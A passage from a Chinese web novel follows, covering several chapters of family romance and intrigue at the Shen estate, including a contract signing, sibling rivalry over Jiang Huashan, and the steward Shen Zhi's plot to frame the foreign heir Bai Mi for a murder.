苏韵略有些意外,偷眼打量沈兰晞,沈兰晞察觉到什么,抬眸对上她的目光,苏韵忽然心口被烫了一下,脸上勉强维持镇定,“兰晞哥,清予哥,一起啊?” “不用了”沈兰晞眼神淡漠,转头看向沈眠枝,“眠枝,招呼好客人。” 沈眠枝点头,“好。” 苏韵被沈兰晞的冷漠刺得有些不知所措,神色微微有些不自然。 几日前,苏敬琉特意把苏韵叫去书房,询问她是否对沈兰晞有意。苏敬琉的意思很明显,沈家小辈人才辈出,联姻是最好拉近两家家关系的方式,原本他看中的是沈归灵,但苏妙突然改口说不喜欢沈归灵了,考虑到苏妙心性不定,苏敬琉又把希望寄托到了苏韵身上。 这些年,苏韵为了摆脱过去努力适应苏家的生活,还以优异的成绩被军政学院录取,若是她有意,不管是为了苏家还是为了孩子,苏敬琉都会想办法争上一争。 苏韵万万没想到自己和沈兰晞忽然就有了交集,脸上思绪不定,苏敬琉看在眼里哪有不明白的,当即便让苏韵回去等消息。 一连几天,苏韵茶饭不思。 终于,临来沈园前夕,苏敬琉给了她一颗定心丸,沈家老爷子的确也在给沈兰晞相看姑娘,老爷子放话,家世什么的都是其次,最重要的是人品德行,最最重要的是的沈兰晞喜欢。 原本说到人品苏韵还有些底气不足,但苏敬琉告诉她,沈老爷子听说沈家有意并未拒绝,只说若是沈兰晞有意便随孩子。 于是,几家一合计才有了今天的沈园聚会。 只是她万万没想到,沈兰晞竟然这么难以接近。 沈清予起身走到竹椅边躺下,头枕胳膊懒懒道,“我也不去了,就在睡会儿。” 蓝黛神情有些落寞,想留下却想不到适合的借口。 傅绥尔没心没肺,“走走走!别管他们,我们去玩。兰晞哥和清予在院里坐坐也挺好,省的那些个思想龌龊的癫狗胡乱泼脏水。” 苏韵微微一愣,皱着眉看向绣楼。 一个人睡觉,有必要三个人都守着吗? 不知道为什么,她总觉得有些不对劲。 闲杂人等退场,菊园暂时陷入了暴风雨前的宁静。 沈兰晞单手支颐,眼里敛着深邃的幽光一动不动看着地上的碎影。 沈清予垂目轻瞌,金色的浮光落在他脸上,眉眼清俊得不像话。 半晌,沈兰晞收回目光缓缓起身。 刚路过竹椅,沈清予忽然睁眼,抬起一只腿拦住他的去路,“沈兰晞,你去哪?” 沈兰晞偏头,波澜不惊看着他。 沈清予抬脚踢了踢他的膝盖,“坐回去。” 沈兰晞眼里闪过一抹微妙的情绪,思忖片刻,直接绕过竹椅。 沈清予眼底泛过一丝怒意,蹭得一下起身一把拽着沈兰晞的衣襟,“我让你坐回去。” 沈兰晞,“松手。” 沈清予嗤笑了一声,抬眼看向绣楼,“沈兰晞,你当初是怎么教训我的难道你忘了,她是我们的妹妹!” 要是他还看不出刚刚气氛里暗藏的诡异是什么,就真白长了个脑子了。 沈兰晞抬眸,两眸仿若古井无波的深潭,“又不是亲生的。” 沈清予怔愣,神色复杂,“你……你承认了?” 沈兰晞,“我从未遮掩。” 事实也是如此,他只是不善于表达喜欢,但从未遮掩过他的喜欢,不管是送姜花衫九朵粉玫瑰,还是送她金枪荣耀,他都是堂堂正正不避耳目。 “……”沈清予傻了。 沈兰晞的回答让他觉得自己是个傻子,同样都是喜欢,沈兰晞高悬明月,而他把自己的喜欢贬低地羞于见不得人。 “松手。” 沈清予看了他一眼,慢慢松开衣襟。 沈兰晞绕过沈清予,一边整理被扯皱的衣襟一边往绣楼走去。 沈清予眼神微动,忽然想到什么,掉头转身快步越过沈兰晞横档绣楼前。 沈兰晞指尖微顿,拂了拂衣襟的褶皱,“沈清予,滚开。” 高止抱着小可怜蹲在角落,见状立马小声解说,少爷说脏话了,他没耐心了。 小可怜伸了伸脖子,一脸呆样。 沈清予双手抱胸,“少跟我摆腔调,你当我为什么守在这,防的就是你居心不良。” 沈兰晞挑眉,侧头看向一楼画室的方向,“这么喜欢盯人,怎么不去那间房间看看?” 沈清予皱眉,忽然神色微动,大步冲向画室。 画室连接花廊,原本是个带小院的房间,沈清予推门而入,偌大的房间里摆着满了陈列作品的画架,用来休息的环形沙发上空无一人,微风从拂过,白色的蕾丝窗帘漫过窗台猎猎作响。 “……” …… 第511章 让他们看见才刺激 绣楼主卧。 姜花衫和沈归灵面对面端坐在沙发上,两人同时落笔签下自己的名字,白纸黑字契约达成。 “这里是三亿现金。” 姜花衫暗暗松了一口气,主动将茶几上的黑金卡推到沈归灵面前。 从S国回来后,沈归灵的态度一直摇摆不定,她原本以为巡航舰的计划泡汤了,没想到沈归灵竟然从从画室翻窗爬上了她的卧房说要跟她签合同。 说实话,沈归灵这个举动让她很意外。 白家剧情一出,姜花衫几乎可以断定,沈归灵之所以和沈家决裂一定与他的身世有关。 上一世,爷爷处罚沈归灵之后很长一段时间都把自己关在房间,任谁都看得出爷爷舍不得,当时她很费解,既然舍不得爷爷为什么不把沈归灵找回来,现在看来是根本找不回。 所以这一世无论如何,她都不能让沈归灵恨着离开沈家。 三亿摆在眼前,沈归灵眼皮都没掀一下,一言不发看着手里的合同。 姜花衫神色微动,指尖轻轻点了点卡面,慢慢坐直身体。 沈龟灵应该已经知道自己的身份了,白家女王花了那么多心思把他引去白王宫显然也是在意的他的,就是不知道他心里到底是怎么想的? 沈归灵察觉到了某人‘灼热’的视线,眼睑微微颤动,不动声色将手里的合同折好装进档案袋。 “合作愉快。”他顺手拿过银行卡,起身往窗台走去。 姜花衫愣了愣,对于沈归灵突然的正常一时有些不适应,“你这就走了?” 沈归灵脚步一顿,回过头看着她。 “哦~” 他似‘回味’过来了什么,转身走到姜花衫面前,轻轻弯腰,一把扣住她的后脑勺,垂眸贴着她的额头轻轻亲吻。 “忘记这个了。” 姜花衫眼睫微动,水渍渍的桃花眼因为突如其来的心悸微微荡开一丝涟漪。 片刻后,她意识到什么,咬牙,“沈……” 沈归灵扶着她的肩膀,膝盖半曲压在她两腿之间,腰身迅速下移,鼻尖贴着她的鼻骨,在她骂出口之间精准吻住了她的嘴角。 他并未深入,吻了吻立马拉开距离,撩着眼眸轻轻问道,“你刚刚说最喜欢谁?” “我……”姜花衫正要说话,忽然听见门外传来上楼的脚步声,她登时瞪大了眼睛,“你赶紧下来!” 沈归灵往房门方向看了一眼,故意往她耳侧贴近,“不用管他们,我们继续~你不是喜欢刺激吗?让他们看见才刺激。” 刺激个鬼?! 要是被沈兰晞看见一定会以为是她勾引的沈归灵,到时候万一爷爷迁怒,白家再挑衅,说不定沈归灵就真的跟沈家决裂了。 短短几秒钟的时间,姜花衫已经在补脑了一出红颜祸水的惊天大戏。 她赶紧推开沈归灵,反身往沙发另一边爬去。 沈归灵被她这避之不及的态度气笑了,一把将人捞进怀里,“慌什么?要是爷爷责怪你,我就说是逼迫你的,总不会让他们为难你。” 姜花衫回头瞪了他一眼,“你能逼迫我?说出去有人信吗?” 沈归灵眼梢微挑,十分认可点了点头,“好像不能,那怎么办?那就只能告诉他们,我们你情我愿,彼此喜欢。” 脚步声越来越接近,听声音明显不止一个人,姜花衫的心都悬了起来,回身推搡着沈归灵,“谁跟你你情我愿?这个时候被抓就解释不清了,你赶紧走。” 沈归灵不情不愿松开手,任她推着自己连连后退,“有这么怕吗?” “你闭嘴!要是不听我的,以后就别跟我说话。” 姜花衫深怕他又作妖,一脸严肃警告,警告完还是不放心,转身跑向房门,正准备锁门,忽然听见门外响起了叩门声。 “叩叩——” 姜花衫吓得眼皮直跳,正准备催促沈归灵躲起来,刚抬眼忽然就愣住了。 梳妆台前的窗叶轻轻摇摆,青纱被风吹起在空中荡着秋千,眼前哪还有沈归灵的影子? 不是!他又跳窗了? 姜花衫赶紧跑到窗台查看情况,这两个月她又浇水又施肥,侧墙的藤蔓已经长成了狼牙棒,沈归灵落不好可是会被扎成刺猬的。 她探着身子往窗下打量,但除了满墙花卉墙角一个人影都没有。 倒是小瞧他了,看来狼牙棒根本防不住他。 姜花衫正准备关窗,忽然眸光定住。 从墙外伸进窗台的一个狼牙枝条上挂着几滴暗红的血珠,那血色迎着烈阳,极其刺目。 姜花衫垂眸,将掩到一半的窗扉重新打开。 “叩叩——” 敲门声一声比一声紧迫。 说来也奇怪,她忽然就不怕,不是因为沈归灵不在了,而是因为忽然就觉得没什么好怕的了。 仔细想想,就算被看见,只要她打死不认,他们又能拿她怎么样? 那会儿怂成那样,说到底是因为她真的心虚了。 姜花衫闭了闭眼。 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.99n+19%】 【温馨提醒,心动值上升0.000n+1】 “……” 姜花衫嘴角抽了抽,她就知道。 …… 第512章 宿命时刻 “砰砰——” 许久没有回应,此时门外的叩门声已经有了暴躁的趋势。 姜花衫深吸了一口气,气势汹汹冲上前,拉开房门直接怒吼,“敲敲敲,敲什么敲?不开门就是拒绝回答,这点常识都不懂吗?” 沈清予敲了半天没有反应,心中疑云渐深,正要发火,谁知姜花衫捷足先登,瞬间把他的怒气给湮灭了。 “干嘛?!”姜花衫双手抱胸,眯眼打量眼前两人, “……”沈清予一时语塞。 沈兰晞,“来看看你。” 姜花衫,“看到了?走吧。” “……”两人顿时无语,想到了姜花衫会遮掩,但没想到她这么理直气壮连借口都不找。 “还不走?” 凶巴巴的样子在两人看来简直是形迹可疑。 沈清予一手扶着门框,“来都来了,不请我们进去坐坐?” 姜花衫皱眉,零帧起手,“你一个大男人进我卧室干嘛?你是变态吗?” 沈清予眼皮跳了跳,尤其听见‘变态’两个字瞬间失去了所有力气和手段,软趴趴凶道:“闭嘴,别乱说!” 沈兰晞抬手拂开沈清予,“有话跟你说,不宜声张,进去聊。” “……”又有话聊,上次跟她认错这次又是什么? 姜花衫心知他们不进来看看是不会死心的,转身走进房间。 沈兰晞抬眸往房间看了一眼,神色自然跟了上去。 “……”沈清予见状,人都气麻了! 敢情这是专治他的? 姜花衫将沈兰晞引到宽敞的活动区,指着之前招待过沈归灵的沙发,“坐。” 忽然,眸光一瞥看见了茶几上摆放着的黑金钢笔,这支笔是沈归灵刚刚签合同时留下的。 姜花衫不慌不忙,故作假装整理合同,顺手拿起钢笔连同手里的合同一起丢进了梳妆台的抽屉里。 “你要找我说什么?” 沈兰晞目光在抽屉停留了片刻才抬眸看她,“你和关鹤什么关系?” “……”姜花衫愣了愣,以沈兰晞的脑子绝不会真的以为她喜欢关鹤,之所以这么问,应该是看出了关鹤对她的试探。 说实话,对于关鹤今天突然发病她也很莫名其妙,但以她上一世对关鹤的了解,这家伙肯定是受了周宴珩的指使,不过周宴珩这么做又是为了什么?她一时还没想明白。 沈兰晞见她不接话,淡淡道,“不管什么关系,以后离他们两个远点。” 姜花衫瞬间冷下脸,“我爱跟谁亲近就跟谁亲近,爷爷都不管你凭什么管我?” 她自然是听出了沈兰晞口中的另一个他指的是谁?但她接受不了沈兰晞这种半带命令式的关心,显得她有多不知好歹似得。 沈兰晞微愣,眼里的情绪有了明显的起伏,“姜花衫。” “凶什么凶?我欠你的啊?!” 沈清予见状突然感觉天降甘霖,立马冲进房间,“就是,天天摆谱给谁看?” “……”沈兰晞皱眉,冷冷看了沈清予一眼。 反正都摊牌了,沈清予索性也不藏着,转身哄着姜花衫,“别理他,一天到晚板着个脸,教训这个教训那个烦得很。” 姜花衫没好气,一把推开沈清予,“你少在这打马虎眼,你们两一起上来不就是想教训我吗?你跟他是一伙儿的。” 沈清予啧了一声,“谁跟他是一伙儿的?你忘了,咱们才是联盟。” “不听不听!”姜花衫站起身,用力推搡沈清予,“出去。” “诶!”沈清予不敢反抗,连连后退。 姜花衫赶完沈清予又转头打量沈兰晞,沈兰晞眉眼清冷,眼睑微微下沉。 “看什么看?你也出去。” 姜花衫一点没客气,直接推了他一把。 沈兰晞措不及防,连退几步才稳住重心,他抬头,向来波澜不惊的眸里满是诧异。 “姜花衫……” “还看?” 姜花衫根本不给他反应的时间,拿起沙发上的枕头对着沈兰晞的脸上砸了过去。 沈兰晞顿时感觉眼前一黑:“……” “砰——” 房门被重重关上时,沈兰晞还沉浸在眼前一黑的惊诧中,半天还有回过神。 沈清予原本想敲门解释,转头看见一脸呆滞的沈兰晞,顿时找到了平衡,“兰晞哥,脸疼吗?” 沈兰晞眨了眨眼,瞬间恢复清明,根本不理会沈清予说了什么转身下了绣楼。 “少爷。”高止一直蹲在楼下望风,见沈兰晞头上顶着一簇呆毛,左右看了看,小声问道,“姜小姐又打您了?” “……”沈兰晞目不斜视,直接越过他出了菊园。 “啧~都打两回了怎么还没适应?少爷也不行啊。” 高止摇了摇头,揣着小可怜小跑追了出去,“少爷!伤哪了?疼不疼啊?” 哦,忽然想到什么,高止连忙捂住嘴,贱贱笑了笑,“不用问,肯定是伤心里了。” * 第513章 白密认亲 兰园。 秋阳穿过木窗落在散发着木质清香的紫檀茶几上,沈兰晞单手支颐,指尖轻轻拨弄手里的黑金钢笔。 这支笔是军政学院对双将星荣升上尉的嘉奖,他和沈归灵各有一支。 所以,其实当他看见姜花衫收走的那支笔时,他就已经知道沈归灵来过了,当时说话那么生硬也是因为生气。 同为对手,沈兰晞一眼就看透了沈归灵诡计多端的本质,他故意留下有身份识别的东西,无非就是在挑衅他,但沈兰晞生气并非是因为沈归灵,而是因为姜花衫的态度。 她竟然去收笔。 以姜花衫的性格,若真坦坦荡荡,就算那只笔摆在床上她也一定不屑解释一句,所以急于掩藏又何尝不是一种欲盖弥彰? “少爷?” 高止趴在窗台上,小心翼翼偷瞄沈兰晞,看了半天没看出什么名堂,摸了摸下巴又窜回了树下。 “少爷一直盯着笔看是怎么回事?” 小可怜伸了伸脖子,好奇打量新院子。 高止顿时脸色严肃,摸了摸小可怜的脑袋,“哦,你说的对,他已经意识到自己是煞笔了。” 小可怜,“……” * 另一边,沈归灵一扫之前的阴霾,脸色肉眼可见温和了许多。 刚走出内院,便看见一群保镖在院内巡视,沈归灵不觉慢下了脚步,目光落在为首的保镖身上,“出什么事了?” 沈园内院和外院的界限分明,保镖守外院,内院有专门的管事,只有出现威胁内院主人安全的情况,保镖才会被特许入内院。但沈园戒备森严,沈归灵入园五年来,也只有傅岭南在沁园闹事那次出现过这种情况。 为首的保镖立马上前,“阿灵少爷,我们刚刚发现有个可疑的人影进了内院。” 还有人能潜入沈园? 沈归灵神色严肃,“人抓到了吗?” 保镖,“抓到了,是负责清理秋园的杂工,今天来的都是贵客,沈管家交待不要声张。” 沈归灵点头,转身穿过廊庑。 原本他打算去主厅露个面,刚过照壁便看见余笙在主厅前徘徊,未免引起不必要的误会,沈归灵犹豫片刻又转回了内院。 刚踏上廊桥,便看见一道人影从他面前晃过。 “……” 白密四处环顾,英俊的脸上满是不耐烦,“沈家是有毛病吗?一个房子建的跟迷宫一样,这山啊水啊怎么都长的一样,怎么也不搞个指示牌?” 他一边抱怨一边猥琐前行,一时不察,迎头与沈归灵撞了个正着。 “……” 两人四目对上,沈归灵眼睑微眯,白密吓得小脑萎缩拔腿就跑。 跑到一半忽然想起自己的目的,身体顿时僵住,强忍着内心的惧怕颤颤巍巍转过身,“先……先说好啊,我这次来不是找事的,你不许动手。” 沈归灵看着眼前这双与自己肖似的眼睛,眸光暗潋,“你怎么进来的?” 白密目光微闪,“就……就这么进来的。” 沈归灵回身看向秋园方向,思索片刻神情了然,“他们找的人是你?” 问出这句话时,沈归灵的黑眸明显带了几分戾气。 白密认真盯着他的脸打量,越看心里越不是滋味,白家人对瑞凤眼的熟知已经刻入了骨血,所以即便他有轻度脸盲还是一眼就看出了沈归灵的不同。 他从小就知道,他还有素未谋面的哥哥流落在A国生死不明,那个哥哥就是S国最年轻的亲王之子,依照这种情况,沈归灵极有可能就是老太婆寻找了二十年的白家之子。 只不过让白密纳闷的是,明明之前他也和沈归灵打过交道,怎么那个时候没有看出来?难道是那一顿毒打,唤醒了他们同为白家血脉的羁绊? 白密莫名感到兴奋,眼里透着难掩的熠熠光芒,大步奔向沈归灵,“我……” 还没等他开口,沈归灵双手插兜一脚踹了上去,“你偷进沈园做什么?难不成又想绑架谁?” “……嗯!咳咳~”白密眼里的光顷刻碎裂,捂着肚子痛苦呻吟,“我……我是来找你的。” “……”沈归灵神色淡然,垂眸扫了他一眼,“滚。” 说完,目不斜视直接越过白密。 白密单膝跪地,盯着沈归灵的背影犹豫片刻,咬着追了上去,“沈归灵,你错过我,你以后一定会后悔的。” 沈归灵皱眉,“我不会,我对你没有兴趣。” “……”白密愣了愣,有被恶心道,表情怪异,“谁跟你说这个?我对你也没有兴趣。” 不对!白密忽然想到什么,立马纠正,“我是对你有兴趣,但不是你以为的那种兴趣。我……” 一两句话说不清,所幸他早有准备,白密从口袋里掏出一条白色丝巾,“这个,你拿着。” 沈归灵面无表情看着他,丝毫没有要搭理的意思。 白密小心摊开丝巾,里面是一缕用红丝线绑着的黑发。 沈归灵,“……” 白密满眼殷勤,隐隐有些期待看着他,“这是我的头发,你拿着啊。” 只要沈归灵用他的头发去做基因测试,一切就会真相大白,沈归灵也不用在A国认贼作父了,这样大伯也就还能含笑九泉了。 沈归灵收回目光,像躲避什么脏东西,神色淡淡,“拿走。” 白密锲而不舍,“不是,你听我解释……” “哈哈哈哈哈哈……” 忽然,一声极其猖狂的讥笑声从不远处传来。 关鹤捧着肚子从院墙后转了出来,“我草!沈归灵你还真是魅力无边男女通吃啊!” 沈归灵转眸,漫不经心看着关鹤。 彼时,周宴珩慢悠悠走了出来,目光在沈归灵和白密之间逡巡了一圈,“白殿下才来A国两年,倒是对我们国家的风土人情很了解?青丝结发的习俗都知道?” 什么青丝结发,白密听得云里雾里,挑眉打量眼前两人,转头看向沈归灵,“这两人谁啊?沈家的看门狗?” “……”关鹤立马笑不出来了,火冒三丈,“我草!姓白的你有病就去看脑子。” 同窗两年,每次跟白密干架之前都要重新介绍一遍自己,关键是这狗东西从来不记。 …… 第514章 最坚定的选择 眼看气氛胶着。 沈归灵事不关己转身往内院走去。 周宴珩原以为白密和沈归灵有什么关联,但看沈归灵这事冷漠态度立马打消了疑虑。 关鹤原本还想嘲讽,周宴珩淡淡开口,“这里是沈园,都是客人,闹开了不好看。” 原来这蠢货以为他是沈家的客人,白密眸光微动,小心翼翼把他的头发包好,故意撞了撞关鹤的肩膀,“听见没,我可是你们沈家的客人。” 说完,也不听关鹤说什么,拔腿朝沈归灵的方向追去。 “你们沈家?”关鹤一脸难以置信,瞠目看着白密的背影,“这傻子是真没认出我们?” 周宴珩并不感兴趣,转身往主厅方向走去。 “沈归灵!”白密锲而不舍,大步追上沈归灵,“不是,你怎么油盐不进,沈家的看门狗都能对你大呼小叫的,你留在这还有什么意思?” 沈归灵身形微顿,侧身看着他,“你要再不走,我会让沈家暗卫请你出去。” 白密摆摆手,“你少吓唬我了,刚刚那两个不就是你们沈家暗卫吗?你要是真想轰我,怎么刚刚不轰。” “……”沈归灵沉默了片刻,转身面向秋园,正要踏步忽然想到什么,又回过头打量白密,“你怎么知道刚刚那两个是沈家暗卫?” 按理说脸盲的人看谁都一样,但白密却斩钉截铁给周宴珩和关鹤安上了身份,这显然有些不合常理。 白密,“我刚刚溜进院子的时候,亲眼看见他们三个一块合计什么,后来有个人就被抓了。” “三个?” 周宴珩和关鹤只有两个人,哪来的第三个人? 沈归灵眸光敛动,“你怎么认出刚刚那两个人的?” 白密冷嗤了一声,“看衣服啊。” 他只是眼神不好使又不是智障。 沈归灵垂眸,神色略微有些凝重,“另外一个穿了什么衣服?” 白密想了想,脱口而出,“灰色长衫,一个四五十左右的中年老头儿。” 沈执? 周宴珩怎么会和沈执联系在一起? 这事怎么看都有蹊跷,他不觉又联想起了刚刚路过秋园时保镖的说辞。 忽然,沈归灵灵机一动,像是抓住了什么不得了的线索,“你跟我来。” 白密顿时来了精神,屁颠屁颠跟在沈归灵身后。 沈归灵带着白密去了后山的养生院,因着入秋天气凉,养生馆的池水都会放干净了,平时这里只有两个负责打扫的阿姨看管。沈归灵轻车熟路,直接去了之前秘密训练的房间。 白密四处打量,见他掩上门,立马开口,“沈归灵,其实你……” 沈归灵直接打断他,“你看见他们抓了什么人吗?” 白密有些不悦,摇头,“我哪知道,我又不认识。我跟你说……” “那人穿什么颜色的衣服,多大年纪?男的女的?” 白密木着脸,虽然对沈归灵这种一再打断他的行为不满,但还是有问必答,“粉色衬衣、30到35岁之间,长的很黑很丑,男的。” 沈归灵眉头微蹙,“姚淄磊?” 姚淄磊今天穿了一件嫩得能掐出水的粉色衬衣,他原本皮肤就很黑,被粉色一衬简直黑成了煤炭. 至于年纪,沈归灵莫名有了一种优越感,姓姚的本来就长得老沉,白密看走眼也很正常。 沈归灵面露沉思,慢慢落座。 沈执、周宴珩、关鹤三个人合谋抓了姚淄磊? 这话听着就有些不靠谱,尤其还是从有眼盲症的病人口里说出,怎么都感觉匪夷所思。 沈归灵指尖轻叩,思索片刻又打量起白密,“他们没有发现你?你还知道什么?” 白密到底是皇室家族成员,心机和城府一样不缺,沈归灵连续几番追问他很快就意识到事情不对,“我偷偷溜进来的,没有人发现我。那个老男人就不一样了,人蠢得厉害,一边偷听一边发抖,逃跑的时候还被发现了。后来那个老头儿叫人把他抓起来了。” 若是平时,白密就算知道什么也必然不会老实交代,以他的恶劣巴不得看A国人狗咬狗内斗,但眼下他已经认定沈归灵就是白家失散的血脉,出于手足之情,他几乎本能地选择了站沈归灵这一边。 “哦!对了,虽然离得远,但我隐约听见他们反复提到了一个人的名字。”白密看了沈归灵一眼,也不卖关子,直接脱口而出,“他们一直在说……姜花衫。” 沈归灵指尖微顿,眼睑微挑。 白密偷偷落座,小心翼翼观察沈归灵。 之前沈归灵就是因为这个姜花衫差点杀了他,由此看来沈归灵挺看重这个姜花衫,白密灵机一动,站起身,“行了,这件事我替你搞定。” 沈归灵转眸,面无表情看着他。 “管他们密谋什么,通通杀掉,这样姜花衫就不会有麻烦了。”说罢,白密又从口袋里掏出收藏好的白丝巾,“这下你总可以放心接受我的礼物了吧?你拿着它,去医……” “我不需要。”沈归灵再次冷声打断。 “嘬嘬嘬!”白密伸出食指左右摇摆,“年轻人可别说的太早了,你知道这是什么吗?它能让你至少少奋斗十年。” 沈归灵没有接话。 白密将丝巾郑重放在两人之间的茶几,认真道,“沈归灵,你拿着它去医院做个检测,或许会有不一样的收获。” 这话已经说的够明显了吧? 以沈归灵的智商应该能猜到他的用意了吧? 白密站起身,故作深沉,“我等你消息。”说罢便不做纠缠,转身推门出了房间。 待门眼神,沈归灵缓缓垂眸,睫毛在眼下投出鸦青色的阴影。 片刻后,他站起身拿起桌上的丝巾直接扔进了垃圾桶。 他从不瞻前顾后,从白朱拉利用姜花衫牵制他那一刻,他便已经做了选择。 他要姜花衫。 …… 第515章 暗藏杀机 “叩叩——” 刚掩上的门突然从外面推开,白密探进了小心翼翼探进个头,“那个……出口在哪里啊?” 沈归灵回眸,盯着他打量片刻缓缓站起身,“你这水平是怎么溜进沈园的?” 看不起他? 白密脸色微变,抬起下巴,“我自然有我的过人之处,我随随便便就进来了,说起来你们沈园的守卫也不过如此嘛?” 随随便便? 沈归灵眉头微蹙,沈园可不是什么阿猫阿狗都能进的,难道是安防出了问题? 忽然,他又想起在秋园与保镖的对话。 -“今天来的都是贵客,沈管家交待不要声张。” 又是沈执。 一个人如果在一个事件中多次出现这里面就必然存在某种客观联系。 但沈执和白密又会有什么牵扯? 沈归灵眸光深沉,不动声色,“你来沈园做什么?” 白密目光坦荡,不假思索,“来找你啊?我翻了一座山溜进来的。” 沈归灵从S国回来后,白密连续在学校蹲了半个月,后来才得知沈归灵获得了特准假在家里休养,他当即改变准备直接来沈园找人。沈园后山还没有开发,白密爬了一夜从隔壁后山绕进沈园的。 沈归灵丝毫不为所动,言语间带着审查,“找我做什么?” “给你头发啊。” 白密原本想把知道的秘密宣之于口,但又不想剥夺沈归灵得知真相的惊喜,只能强压着分享的欲望又补了几句,“丝巾收好了吗?记得早点去医院啊。” 这样的提示已经够明显的了吧? 沈归灵就算是猪也应该看出来了吧? 白密一脸期待。 “……”沈归灵直接忽视目光,冷冷道,“在沈园客人离园之前,你最好哪里都不要去。” 沈园可不是什么阿猫阿狗都能进来的,就算白密翻了一座山,但后山的守卫更森严,绝不可能白密都入园了安防都没有一点反应,所以,极有一种可能,沈执是故意把白密放进来的。 若是沈执真和周宴珩密谋了什么被姚淄磊撞破,姚淄磊必然是活不成了。 但姚淄磊不是普通人,姚家家主还在沈园做客,若真要灭口处理不当很容易叫人抓住把柄。 所以……这个时候白密的闯入正好解了沈执栽赃嫁祸的难题。 他此前就和沈家有过节,若将伤害姜花衫或者杀死姚淄磊的罪名转嫁给白密,一个异国人百口莫辩,真正的凶手便能逍遥法外。 白密并不知道此时自己已经陷入了水深火热的陷阱里,满脸不乐意,“那怎么行?” 他刚刚还答应去把那三个人灭口的,这还没相认呢,他不想给沈归灵留下说话不算话的坏形象。 沈归灵瞥了他一眼。 “哦。好的。”白密立马应口,算了!坏就坏吧,内峡那一战实在给他留下了不小的心理阴影,以至于他到现在都不敢忤逆沈归灵。 沈归灵思忖片刻,从口袋里拿出一只黑色耳机,“这个你拿着,等我消息。” 白密顿时一喜,沈归灵肯定是听懂了他的暗示,还有专属耳机,他现在的待遇也是好起来了。 他连忙接过耳机,爱不释手上下翻看。 “你现在这个房间里待着。” 沈归灵自始至终都表现的很冷淡,走出房门时白密还想跟上说两句,门页砰得一声无情关上了。 “啧,害羞了。”白密摸了摸鼻子,转身斜躺进沙发,翘着二郎腿掏出手机。 “嘟——” 电话接通,视频对面白朱拉正坐在金碧辉煌的喷泉边给白色小象喂食,女王随意瞥了镜头一眼,十分嫌弃收回目光,“注意你的皇家礼仪。” 白密坐起身,拿着手机对着室内转了一圈,“祖母,您猜猜我现在在哪?” 白朱拉眼皮都没抬,直接挂断了电话。 “……” 岂有此理!白密气得直接把手机摔了出去,好好好!现在对我爱搭不理,等我把沈归灵带回国叫你们高攀不起。 忽然,他眸光一转,看见了垃圾桶里的白色丝帕。 “……” 白密神情错愕,扑通跳下沙发抱着竹篓,这……这不是他的头发吗? 岂有此理,沈归灵竟然把这么珍贵的东西当垃圾丢了,白密怒不可遏,举着手里的耳机准备出气,但举了半天也没有动静。 这可是唯一能联系上沈归灵的血脉耳机啊?! 白密挑眉,慢慢收回耳机,小心翼翼捡起他珍贵的毛发,“犟种是吧?行!看你能有多犟!” “……” 沈归灵出了房间并未马上离开,而是绕到了隔壁窗户监视屋里的动静。 白密把丝巾兜进口袋也没闲着,拿着手机对着房间看看拍拍,嘴里一刻没停歇,“沈家就给沈归灵住这破地方?稳了!等沈归灵看见白亲王给他留下的帝姬陵肯定会感激涕零地认祖归宗。” 沈归灵默默关上窗,转身出了养生园。 * 主厅里,宾客尽欢,谈笑风生。 沈执端着茶盅入厅,环顾了一圈将手里的托盘递给郑松,俯身在沈庄耳边小声道,“老爷子,有人闯园。” 沈庄笑着起身往偏厅走去。 沈执会意,立马跟上。 沈庄抬眸看了众宾客一眼,神色淡淡,“怎么回事?” 沈执敛着眸光,态度恭谨,“是白家那位小殿下,他从后山翻进来的,保镖们跟丢了,不过他现在应该还在园子里,我已经让暗堂那边把后山和沈园都围起来了,量他也掀不起风浪。” 沈庄眸色微动,白家那小子一直盯着沈家算是怎么回事? 难不成他还想打小花儿的主意? 沈庄冷声,“这件事让郑松去处理。” “是。”沈执正要转身,沈庄思忖片刻又喊住他,“让兰晞来见我。” 沈执垂眸,恭敬颔首,“是。” * 出了主厅,正好遇见周宴珩和关鹤从廊庑而来,沈执垂首退让一边,两人正低头说话,对一旁的沈执浑然未察,转眼功夫便擦身而过。 沈执神色如常,转身走了庭院。 关鹤扫了一眼沈执的背影,小声道:“这个老狐狸又想耍什么花招?” “沈执能在沈园藏匿三十年没被发现,必然有他的过人之处。”周宴珩抬脚跨进门厅,目光众人之间转了一圈,略带深意扫过沈家众人。 沈执身后的指使必然就藏在这些人之中,他这个时候入殿一定是在传递消息。 * 另一边,沈执出了主院,立马跟郑松交代了沈庄的吩咐。 郑松不疑有他,当即召集保镖直往后院。 沈执神色淡定跟在众人之后,堂而皇之拿出手机,慢悠悠编辑文字。 -【白密已经入局,秋园杀局已布,静待猎物入局。】 点击发送,沈执状似不经意看向秋园,原本他还担心姚淄磊和姜花衫同时出事会暴露自己,没想到老天都帮他,竟然无端掉进来一个白家人。 白密有前科在身,再加上之前和沈家的种种过节,若是说他入园杀人必然不会有人怀疑。 思忖片刻,沈执有编辑了一条短信, -【11:30分,引姜花衫入秋园。】 这条短信是发给关鹤的,为了留下相互制衡的把柄,沈执犹豫片刻保留了这条消息。 …… 第516章 谁是猎物? 部署好一切,沈执立马切换到了尽忠职守的总管事角色,他先拜访了兰园,将后院进贼的消息告诉了沈兰晞,并传达了沈庄的意思,随即又刻意提醒傅绥尔等人马上要开宴了,可以移步去主厅等候。 沈兰晞听闻白密在后院,转身去了菊园。 姜花衫才发了一通火正在院子里乘凉,冷不丁见沈兰晞去而复返,立马坐起身,战斗力爆棚,“怎么?好没骂够?” “……” 沈兰晞懒得跟她一般见识,强压下心里的芥蒂,将白密的事说了一遍,“白家此前在沈家手里栽了大跟头,白密这人桀骜不驯亦正亦邪,只怕他心里不服气是冲着你和沈归灵的来的。沈归灵尚且有自保的能力,但你是女生,碰上白密容易吃亏。” 姜花衫一言不发,歪着头看着他。 沈兰晞看了她一眼,又转向别处,“在找到白密之前你……你别乱走,务必要跟着我。” 姜花衫撇了撇嘴。 沈兰晞见她态度不端着,立马板着脸,“我没有跟你开玩笑。” 姜花衫:“……” * 午宴的时间是中午十二点,设宴的地点在牡丹园。 A国人都知道沈家老爷子酷爱牡丹,为了种花,老爷子更是花了大代价在沈园建了一栋玻璃温室,里面放摆着各式各样的名贵牡丹。此时,牡丹园的阿姨们忙着做布场的最后收尾,各类名花被络绎不绝抬出温室点缀午宴。 十月赏牡丹,这等不应季的风雅不知要花费多少人力财力,但对沈家而言,却只是稀松平常事。 “沈老还是这么有闲情雅致啊。” 